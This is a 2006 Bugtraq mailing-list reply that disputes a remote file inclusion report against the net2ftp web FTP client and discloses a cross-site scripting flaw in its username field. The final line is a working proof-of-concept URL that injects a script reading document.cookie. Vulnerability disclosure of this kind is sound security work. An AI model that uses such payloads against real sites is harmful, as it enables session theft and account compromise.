[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: net2ftp: a web based FTP client :) <= Remote File Inclusion
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Re: net2ftp: a web based FTP client :) <= Remote File Inclusion
- From: securfrog@xxxxxxxxx
- Date: 2 Oct 2006 16:13:28 -0000
" + Solution:
+ Add this line to your php-file:
+
+ $application_rootdir ="user/dir" //Your root path "
===> 0-o
i guess you should learn some PHP before posting on bugtracks ...
" net2ftp: a web based FTP client :) <= Remote File Inclusion "
===> you should try your PoC before posting , there's no remote file include in
that code ...
--------------------------------------------------
btw that there's some XSS post in username
and bunch of full path disclosure ...
here's the PoC :
http://www.example.com/index.php?state=browse&state2=main&ftpserver=blabla&ftpserverport=21&username=</textarea>'"><script>alert(document.cookie)</script>;</textarea>'"><script>alert(document.cookie)</script>&password=haaaa&directory=wop&language=en&skin=india&ftpmode=binary&Login=Login